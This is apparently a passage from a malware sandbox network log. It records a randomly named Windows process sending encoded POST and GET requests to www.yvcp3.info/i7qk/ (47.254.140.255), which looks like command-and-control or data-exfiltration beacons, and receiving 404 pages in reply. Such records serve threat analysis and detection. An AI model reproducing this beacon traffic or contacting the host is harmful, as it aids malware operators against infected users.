{color: #20a53a;text-decoration: no [TRUNCATED]
Nov 20, 2024 16:54:33.843786001 CET	224	IN	Data Raw: 6c 65 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 22 3e 0a 09 09 09 09 3c 69 6d 67 20 73 72 63 3d Data Ascii: le></head><body><div class="container"><div class="logo"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEDCAYAAACPhzmWAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAt+wAALfsB/IdK5wAAABx0RVh0U29mdHdhcmUAQWR
Nov 20, 2024 16:54:33.843801022 CET	1236	IN	Data Raw: 76 59 6d 55 67 52 6d 6c 79 5a 58 64 76 63 6d 74 7a 49 45 4e 54 4e 75 69 38 73 6f 77 41 41 43 41 41 53 55 52 42 56 48 69 63 37 4a 31 33 65 42 52 56 46 38 62 66 4d 7a 50 62 30 68 4e 4b 36 43 41 67 56 55 43 43 39 4a 4a 51 46 55 52 46 52 51 45 62 58 Data Ascii: vYmUgRmlyZXdvcmtzIENTNui8sowAACAASURBVHic7J13eBRVF8bfMzPb0hNK6CAgVUCC9JJQFURFRQEbXRENZUFCh4UYQJHyAYIgxYIgSrHQAskSOoTeq/QSQnrdMnO/PyZoCMnu7GYXC/t7njwhM2fuXLacueWc9xBjDB4eL41XdPIH2Atg9AojVAOQQsAuAL8COBffJ9ryN3fRQx6NV3SqzIAWYKw1EQWDsZsgigawK75PdP
Nov 20, 2024 16:54:33.843872070 CET	1236	IN	Data Raw: 77 42 74 63 7a 30 36 4e 58 39 68 37 78 2b 59 61 75 50 61 66 2f 6b 58 79 2f 70 56 70 46 67 34 66 4d 7a 36 77 46 48 75 47 46 58 50 49 69 6a 57 6e 72 35 38 62 4f 50 74 46 34 48 4a 61 62 32 48 52 75 58 6e 30 41 49 59 57 64 75 35 2b 54 59 62 67 78 65 Data Ascii: wBtcz06NX9h7x+YauPaf/kXy/pVpFg4fMz6wFHuGFXPIijWnr58bOPtF4HJab2HRuXn0AIYWdu5+TYbgxeN+x7dvTTSjHHwCPiXg4MLEwUl3eSQ8PyLRzXsgVrR/uuXvz1PLOr5fZ/dbWbVCzCMhrkwWpBKIw13fRA+BxWO6D0BaArrBTakEQPh0wUICvsACE+gpbvOa6znkowE0AZntGEmNVUnJzFwIbvWEVVUWYEYC2Lu2dhz
Nov 20, 2024 16:54:33.843885899 CET	1236	IN	Data Raw: 61 5a 6c 50 6a 46 5a 30 6d 4e 53 35 44 43 6d 37 37 37 36 48 78 69 6b 34 44 69 43 67 47 51 42 63 38 48 43 5a 69 65 62 6f 4d 74 78 59 61 61 67 31 35 69 6a 34 57 77 42 59 61 32 38 35 6d 51 43 63 44 54 73 4a 4f 65 41 4d 44 4b 31 6e 4a 33 31 73 46 38 Data Ascii: aZlPjFZ0mNS5DCm7776Hxik4DiCgGQBc8HCZieboMtxYaag15ij4WwBYa285mQCcDTsJOeAMDK1nJ31sF8aHXuRBD5lGKdTEeh+V6bE71eI5LPpOULoCz67ByAJwr6uSyI+MrQt7VeunBMaskNt0QOc3bIomFbc8TgMmY3nG4nfv+a2i8otMbABahkHg2jsPZmHjTPXBok+9wCwDbaWy7ImOkSF7HshljJTH4lfbRcJAk2+k8RO
Nov 20, 2024 16:54:33.843902111 CET	1236	IN	Data Raw: 67 5a 52 58 30 34 52 2b 4a 78 4a 69 58 52 52 4a 37 57 43 53 70 6a 53 68 4a 7a 30 69 4d 56 57 53 4d 2b 54 48 49 7a 69 72 50 70 74 72 4b 34 34 65 58 73 43 39 32 7a 6f 4d 6b 72 62 58 52 58 45 30 41 63 32 6a 73 58 79 38 74 41 37 50 72 73 4c 4b 74 59 Data Ascii: gZRX04R+JxJiXRRJ7WCSpjShJz0iMVWSM+THIzirPptrK44eXsC92zoMkrbXRXE0Ac2jsXy8tA7PrsLKtYkl4a7JhOwSCA/MMClyJx2G5Fg52XtNMc24a1ColeYTZD/6x7Mj41wCMt2XspeK/aVJ+5AH4eX+poG0LgD8U2P0jIaJbAK7as8sVxZ5rzkzpgxlxvcCYrXWp3gAb+uAPiTG70+Uci7U05FxCWzplHP7aB/DgAjwOy5
Nov 20, 2024 16:54:33.843915939 CET	1236	IN	Data Raw: 2f 49 48 70 52 2b 6f 59 72 4a 7a 34 4f 56 4b 6e 48 76 6c 32 72 61 65 32 6b 33 4f 77 6c 49 6d 4e 68 65 57 61 33 44 55 62 39 49 51 41 78 41 48 59 43 75 44 69 70 37 61 77 6e 35 30 32 6a 6f 71 63 49 44 50 41 57 69 42 72 69 64 73 49 57 42 50 68 2b 55 Data Ascii: /IHpR+oYrJz4OVKnHvl2rae2k3OwlImNheWa3DUb9IQAxAHYCuDip7awn502joqcIDPAWiBridsIWBPh+UWQbonSxZpCPWmI2lR8y36rfZCgNb9kbOk0LO736FRDfZjPi/nPTk49bzZIADFt2ZLwXgIG2bBkQvPL4yhVswb7uNDqsKziuVyFmhEDv50RJiid5DarQB0GNIN91yLJUhZ9Nkb4MsCenYrfBqNdC1iJrCaAjgKYAyj
Nov 20, 2024 16:54:33.844024897 CET	1236	IN	Data Raw: 2f 52 31 55 31 4a 37 78 59 51 75 75 39 63 74 65 64 79 2b 74 2b 4e 52 30 66 4d 36 50 5a 71 37 39 63 53 45 76 38 55 6d 4b 73 55 53 45 4c 6c 31 72 49 43 33 47 4e 41 59 77 33 47 50 57 2f 35 2f 30 6e 59 76 37 74 36 31 30 4d 75 47 34 76 74 50 6e 67 6a Data Ascii: /R1U1J7xYQuu9ctedy+t+NR0fM6PZq79cSEv8UmKsUSELl1rIC3GNAYw3GPW/5/0nYv7t610MuG4vtPngjRuvICHlK/h4JePRGKtM+OrS7udYClXG1Ajc76/WGP8bntu+Bbbfv+//C+ELjtIvJDJu2ZHxnwMYY8tOkljIj6cnz2Ff7BxGY9p2BNFfcj1EarSq2aKMrzb+kski4mHNLWuwj3Y3Qqo+DyLb3x+CXR35fzoGo54D0B
Nov 20, 2024 16:54:33.844039917 CET	1236	IN	Data Raw: 77 74 70 2f 46 79 69 56 6b 59 41 76 6b 33 38 43 6c 6c 44 73 2f 6e 2b 7a 39 50 2b 35 75 57 6b 4a 33 6c 75 39 4c 53 49 43 50 6c 36 43 65 4d 2f 64 69 2f 4a 61 49 2f 65 75 32 42 6d 71 39 6d 77 76 45 32 64 31 2b 7a 73 4d 66 77 47 44 49 75 34 76 4c 2f Data Ascii: wtp/FyiVkYAvk38CllDs/n+z9P+5uWkJ3lu9LSICPl6CeM/di/JaI/eu2Bmq9mwvE2d1+zsMfwGDIu4vL/iWOKwPARXtGqdm5nd6MuXUakvTw1rnEzgIIkiTpIWndIG/1GOoaFgxvjS3VBhHARBYV68lfk5kOO6NdAJAY67TujGEYZu76COzBLiOVRoPK9Sv4ev05deGIMpuXb7kd/l6dYH/996qSe//dGGL1FQ1G/XQAsZAVQe
Nov 20, 2024 16:54:33.844053030 CET	945	IN	Data Raw: 48 4a 32 45 2f 47 71 75 36 30 38 42 51 41 77 68 76 35 54 74 7a 48 38 44 71 59 76 30 48 34 41 4b 48 39 56 61 39 38 43 54 49 6d 6b 31 2f 6b 6d 75 31 39 4e 70 77 37 71 74 4a 52 2f 76 48 39 4c 42 4b 59 6c 48 4a 6a 54 71 74 49 45 77 4a 56 41 6c 78 6f Data Ascii: HJ2E/Gqu608BQAwhv5TtzH8DqYv0H4AKH9Va98CTImk1/kmu19Npw7qtJR/vH9LBKYlHJjTqtIEwJVAlxo/ZtOFPdv0QjNcd/6+Dt60BOA4g2xA5v6kT33YR4GQoUMe9n5XSp2ahxKkR2CAAgsfvsStp9qyRVzxt13n6jbrspNKzlMBBsJdkCYEXplj/xMMbmAcqKblgkqf+2K9O7Y+Pht0AUYL6TVqWEl+YICKmH76UkwE+rJJ
Nov 20, 2024 16:54:33.965728998 CET	1236	IN	Data Raw: 7a 77 5a 37 2b 38 64 38 65 6d 54 62 6b 43 56 6e 39 6f 79 74 34 68 50 55 68 69 4f 79 47 37 46 63 67 50 6f 41 66 6a 49 59 39 58 4d 4e 52 72 30 53 37 58 53 33 49 44 47 32 45 34 44 64 70 2b 79 31 31 49 77 75 57 48 7a 30 49 42 69 37 41 59 76 31 35 74 Data Ascii: zwZ7+8d8emTbkCVn9oyt4hPUhiOyG7FcgPoAfjIY9XMNRr0S7XS3IDG2E4Ddp+y11IwuWHz0IBi7AYv15tHbV54C4NO8cvD7NLhJKAT+LTtN/AFIReclepCx4iBk9RBFWESpzfH6T41lq08fzbXmHGtXJSIWvrpXFFxqBsNO5ztaPPLUEyYA2AYgzJFrOaJrlQJ9eizdd/b9976O7ozaFY6A4+yn0HD4CL9l7oA39xvk9eWHYfj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.11	49868	47.254.140.255	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:54:40.038867950 CET	768	OUT	POST /i7qk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.yvcp3.info Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.yvcp3.info Referer: http://www.yvcp3.info/i7qk/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 2f 33 72 2b 74 55 45 2f 76 53 4b 72 72 33 70 38 4b 45 48 6f 63 78 56 75 46 52 6c 48 4f 52 63 48 66 37 79 79 4f 6e 5a 71 48 6a 4c 77 4b 59 55 50 63 6a 68 7a 33 68 67 65 73 2f 64 78 59 6c 30 72 32 78 76 49 72 53 6a 4a 64 48 32 38 30 6b 62 6d 4a 37 35 47 62 57 70 73 4b 51 68 31 54 5a 65 6a 5a 56 4c 73 38 39 77 78 45 50 30 32 4d 30 4e 38 6f 31 58 72 63 6b 37 76 53 66 73 44 67 71 45 6c 34 48 58 34 78 33 50 4d 49 57 6d 45 61 30 4f 59 36 65 6e 6e 72 51 6f 76 69 2b 59 45 30 2b 54 50 43 6c 51 63 59 72 55 33 59 79 70 38 46 45 4a 50 58 53 74 71 41 36 5a 70 30 2f 77 6a 35 6d 39 7a 6d 67 3d 3d Data Ascii: KV=/3r+tUE/vSKrr3p8KEHocxVuFRlHORcHf7yyOnZqHjLwKYUPcjhz3hges/dxYl0r2xvIrSjJdH280kbmJ75GbWpsKQh1TZejZVLs89wxEP02M0N8o1Xrck7vSfsDgqEl4HX4x3PMIWmEa0OY6ennrQovi+YE0+TPClQcYrU3Yyp8FEJPXStqA6Zp0/wj5m9zmg==
Nov 20, 2024 16:54:41.382460117 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 15:54:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Trace: 2B827006D5FA5D2A668DF1F10DD85BD93FC0BBDD41A6C8C715597A37B800 Set-Cookie: _csrf=6963693ee978f7dbcf6789af428e22034f771aa8755334f418a640c97d4b0001a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22Wbx2eb7MF_6Z_AlYJ8nKV6VYQRuXr8sy%22%3B%7D; path=/; HttpOnly Data Raw: 33 31 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 70 61 72 61 6d 22 20 63 6f 6e 74 65 6e 74 3d 22 5f 63 73 72 66 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 52 37 74 70 2d 6f 73 63 50 47 33 44 34 70 70 6b 47 37 4b 71 63 77 4f 58 62 5f 48 30 36 7a 69 68 77 6b 36 58 64 6f 67 42 34 30 73 51 32 52 48 49 37 6e 34 4c 49 49 57 39 72 44 35 45 38 38 59 71 53 61 38 42 75 71 4c 64 62 76 69 54 48 4f 49 75 2d 6a 6d 51 4d 67 3d 3d 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f [TRUNCATED] Data Ascii: 31b<!DOCTYPE html><html lang="en-US"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="csrf-param" content="_csrf"> <meta name="csrf-token" content="R7tp-oscPG3D4ppkG7KqcwOXb_H06zihwk6XdogB40sQ2RHI7n4LIIW9rD5E88YqSa8BuqLdbviTHOIu-jmQMg=="> <title>Not Found (#404)</title> <link href="/css/site.css" rel="stylesheet"></head><body><div class="wrap"> <div class="site-error"> <h1>Not Found (#404)</h1> <div class="alert alert-danger"> Page not found. </div> <p> The above error occurred while the Web server was processing your request. </p> <p> Please contact us if you think this is a server error. Thank you. </p></div></div></bod
Nov 20, 2024 16:54:41.382479906 CET	18	IN	Data Raw: 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: y></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.11	49875	47.254.140.255	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:54:42.710643053 CET	788	OUT	POST /i7qk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.yvcp3.info Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.yvcp3.info Referer: http://www.yvcp3.info/i7qk/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 2f 33 72 2b 74 55 45 2f 76 53 4b 72 71 58 35 38 4c 6a 54 6f 64 52 56 70 5a 42 6c 48 48 78 63 44 66 37 2b 79 4f 6c 31 36 48 51 2f 77 4a 36 4d 50 64 67 35 7a 30 68 67 65 30 76 64 6f 58 46 30 67 32 78 69 33 72 54 76 4a 64 47 53 38 30 6c 72 6d 4a 73 4e 48 4a 57 70 75 43 77 68 33 64 35 65 6a 5a 56 4c 73 38 2b 4d 62 45 4a 63 32 4d 46 39 38 6e 77 37 30 56 45 37 67 56 66 73 44 33 61 45 68 34 48 58 4b 78 31 72 69 49 55 4f 45 61 78 4b 59 36 4b 4c 6f 69 51 6f 74 76 65 5a 51 34 63 4c 42 46 55 5a 32 57 61 73 43 4d 51 34 65 4a 69 45 56 48 78 6b 39 44 70 52 72 67 5a 52 54 77 58 59 36 39 67 77 4b 56 61 66 68 54 4c 64 51 30 68 78 64 76 47 65 55 79 6e 6f 3d Data Ascii: KV=/3r+tUE/vSKrqX58LjTodRVpZBlHHxcDf7+yOl16HQ/wJ6MPdg5z0hge0vdoXF0g2xi3rTvJdGS80lrmJsNHJWpuCwh3d5ejZVLs8+MbEJc2MF98nw70VE7gVfsD3aEh4HXKx1riIUOEaxKY6KLoiQotveZQ4cLBFUZ2WasCMQ4eJiEVHxk9DpRrgZRTwXY69gwKVafhTLdQ0hxdvGeUyno=
Nov 20, 2024 16:54:44.010560989 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 15:54:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Trace: 2B75C737181E93405B8B6E7D403579FA221C236A49ABA5DB34E05FC7A000 Set-Cookie: _csrf=0aedfcd0a726c28ce4593cd026a05c19164dc103a2daf8dad6c6579bc87ae7a8a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22-zILHEb-FCz4YVLUD1zZFDXRE4cDKPb7%22%3B%7D; path=/; HttpOnly Data Raw: 33 31 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 70 61 72 61 6d 22 20 63 6f 6e 74 65 6e 74 3d 22 5f 63 73 72 66 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 6b 49 67 47 39 38 41 5f 59 66 35 41 6f 6b 33 6c 57 45 54 76 61 37 59 5a 55 5a 31 6c 72 7a 50 65 7a 44 79 61 4a 4b 36 56 7a 64 71 39 38 6b 2d 37 69 48 6f 44 30 77 62 68 4e 39 45 42 45 71 4d 2d 38 69 67 72 78 79 50 72 61 34 79 4a 43 50 6c 67 35 63 57 76 37 51 3d 3d 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f [TRUNCATED] Data Ascii: 31b<!DOCTYPE html><html lang="en-US"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="csrf-param" content="_csrf"> <meta name="csrf-token" content="kIgG98A_Yf5Aok3lWETva7YZUZ1lrzPezDyaJK6Vzdq98k-7iHoD0wbhN9EBEqM-8igrxyPra4yJCPlg5cWv7Q=="> <title>Not Found (#404)</title> <link href="/css/site.css" rel="stylesheet"></head><body><div class="wrap"> <div class="site-error"> <h1>Not Found (#404)</h1> <div class="alert alert-danger"> Page not found. </div> <p> The above error occurred while the Web server was processing your request. </p> <p> Please contact us if you think this is a server error. Thank you. </p></div></div></bod
Nov 20, 2024 16:54:44.010575056 CET	18	IN	Data Raw: 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: y></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.11	49883	47.254.140.255	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:54:45.376678944 CET	1801	OUT	POST /i7qk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.yvcp3.info Connection: close Content-Length: 1231 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.yvcp3.info Referer: http://www.yvcp3.info/i7qk/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 2f 33 72 2b 74 55 45 2f 76 53 4b 72 71 58 35 38 4c 6a 54 6f 64 52 56 70 5a 42 6c 48 48 78 63 44 66 37 2b 79 4f 6c 31 36 48 52 48 77 4b 4a 45 50 63 42 35 7a 31 68 67 65 71 2f 64 31 58 46 30 48 32 78 37 2b 72 54 79 38 64 46 36 38 6d 32 6a 6d 65 74 4e 48 54 47 70 75 4f 51 68 30 54 5a 66 35 5a 56 62 33 38 39 6b 62 45 4a 63 32 4d 47 6c 38 67 6c 58 30 54 45 37 76 53 66 73 50 67 71 45 4a 34 48 50 61 78 31 2f 63 49 6b 75 45 61 52 36 59 33 5a 7a 6f 70 51 6f 72 71 65 5a 59 34 63 32 44 46 55 56 51 57 61 6f 34 4d 53 59 65 61 55 46 32 56 79 34 32 66 61 6c 5a 2b 35 68 63 78 56 45 4c 36 53 45 78 59 36 72 53 4d 72 52 72 77 69 30 6e 72 54 47 46 72 7a 4f 61 77 50 53 6f 5a 70 35 4f 4b 73 71 32 41 71 70 6b 66 50 2b 43 54 4a 6e 4f 51 52 47 61 44 77 47 31 6f 45 54 62 67 64 49 6b 49 32 42 38 35 4d 72 4c 2f 47 6f 35 34 34 55 77 4d 74 4a 6c 36 41 6d 4a 38 43 71 74 76 75 58 54 76 34 78 5a 6c 34 38 75 54 56 63 62 31 48 36 7a 48 78 62 57 39 59 66 6c 59 72 46 78 38 67 50 62 65 61 4e 4d 2f 37 76 75 71 75 69 51 6f 59 63 [TRUNCATED] Data Ascii: KV=/3r+tUE/vSKrqX58LjTodRVpZBlHHxcDf7+yOl16HRHwKJEPcB5z1hgeq/d1XF0H2x7+rTy8dF68m2jmetNHTGpuOQh0TZf5ZVb389kbEJc2MGl8glX0TE7vSfsPgqEJ4HPax1/cIkuEaR6Y3ZzopQorqeZY4c2DFUVQWao4MSYeaUF2Vy42falZ+5hcxVEL6SExY6rSMrRrwi0nrTGFrzOawPSoZp5OKsq2AqpkfP+CTJnOQRGaDwG1oETbgdIkI2B85MrL/Go544UwMtJl6AmJ8CqtvuXTv4xZl48uTVcb1H6zHxbW9YflYrFx8gPbeaNM/7vuquiQoYctYzAHMx0uhg7kJmZlwWDYEeiQrn9KnWOv3vAKrzsPXfcb7Uf06W9AVX4cxu8VoknMF4Ggfjv4+bPBN7VSpVl96dfqoB70eekFNV1ge+a/B+cvudN2ZecypxXo2R6lT98QG+COszO4mtIH/V8yFTTRmpF5XfwHIOZIxnOQO1xC7JM8HvgfbjSy9XNgCD5MeTJShmOoCtbABo+Ep+iTJeEcUgX8QN0EQhzqa3weKeY952C+M/foVrQC2IlmbrBW9UJjpi1jQwGSqV4dil/McJazs7MLOqVpHl36TkBDa4P0M3ywnDekYfgXbGLSPiDw6dCTBPaJnzR+9lFkDU/yZC/3VilDGYok1QVw5LisW88hb5COc0eNxinWJzhq1bhypg8qCt+00GvB9Lv9jJRGNlUrKeDGGfKg+FPvlJNH05WQVnJL78y3cMXQEy8TZF39blGQ/4NYpT9LMAsp9Y+6k3vlXGJcy2Hvrv5d+gpytUCLGUf/Y0W2VN4pNmdBJLtcvohDCKFuRXQJna9TGemi6EaQSJ3QzkYYq110xi0NCaV87edutnzWnk50gySfkIonGe1e2ueTnJaIssl7lZ94AzlTB4ENJOucjagF/w4DfYzLQX65umLDS/wl7m3lTmqbNaoPXEYsCYhhgU8ym9c7/BA2XYjViv2IOhnoO [TRUNCATED]
Nov 20, 2024 16:54:46.808352947 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 15:54:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Trace: 2BB4D9C1893174E3A86C5B2AFB2C366A92626823D50195A73132817DB500 Set-Cookie: _csrf=1dc6e3e4752f1f5082c624de0e81e29f08d017db963d6af5630ae806ab97175fa%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22AR96HRKOhNqODEGFZ5tSKAZZk2ZA1DHS%22%3B%7D; path=/; HttpOnly Data Raw: 33 31 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 70 61 72 61 6d 22 20 63 6f 6e 74 65 6e 74 3d 22 5f 63 73 72 66 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 43 67 38 47 37 78 4c 50 71 6d 4e 45 4f 42 69 38 74 48 68 58 58 33 4d 68 59 38 37 4e 58 78 4e 37 45 6a 56 38 36 51 41 76 30 35 31 65 67 55 74 39 42 6c 31 35 75 56 65 6b 53 32 32 6c 4b 59 62 4a 5f 6e 78 33 48 42 30 4a 68 65 48 65 6f 2d 79 6c 55 54 33 48 51 3d 3d 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f [TRUNCATED] Data Ascii: 31b<!DOCTYPE html><html lang="en-US"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="csrf-param" content="_csrf"> <meta name="csrf-token" content="NCg8G7xLPqmNEOBi8tHhXX3MhY87NXxN7EjV86QAv051egUt9Bl15uVekS22lKYbJ_nx3HB0JheHeo-ylUT3HQ=="> <title>Not Found (#404)</title> <link href="/css/site.css" rel="stylesheet"></head><body><div class="wrap"> <div class="site-error"> <h1>Not Found (#404)</h1> <div class="alert alert-danger"> Page not found. </div> <p> The above error occurred while the Web server was processing your request. </p> <p> Please contact us if you think this is a server error. Thank you. </p></div></div></bod
Nov 20, 2024 16:54:46.808371067 CET	18	IN	Data Raw: 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: y></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.11	49889	47.254.140.255	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:54:48.059866905 CET	502	OUT	GET /i7qk/?KV=y1Deuhcniwy3qxxQAmTyamEbBAp7BzgQf56uDV1XLiTDd60qTBhOzyQcu/peRmYp6AfM2zjHYnfo1VupJPImQ14HHScIWb6hMHv5+s8iUY9NL2Qo8ivIVjo=&Wno=a0qDq HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.yvcp3.info Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Nov 20, 2024 16:54:49.320790052 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 15:54:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Trace: 2BF3C869D8A38C0AD14EBD5F51889EF053DE6C9A48D7104F63C9051A1100 Set-Cookie: _csrf=16f98d3123ce523e4b6654e1ce653129825bbe36aabd52dd62556e36999a4286a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22X0A_Klrpmg-h2YkptVVKLhKE1qKyXIJj%22%3B%7D; path=/; HttpOnly Data Raw: 33 31 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 70 61 72 61 6d 22 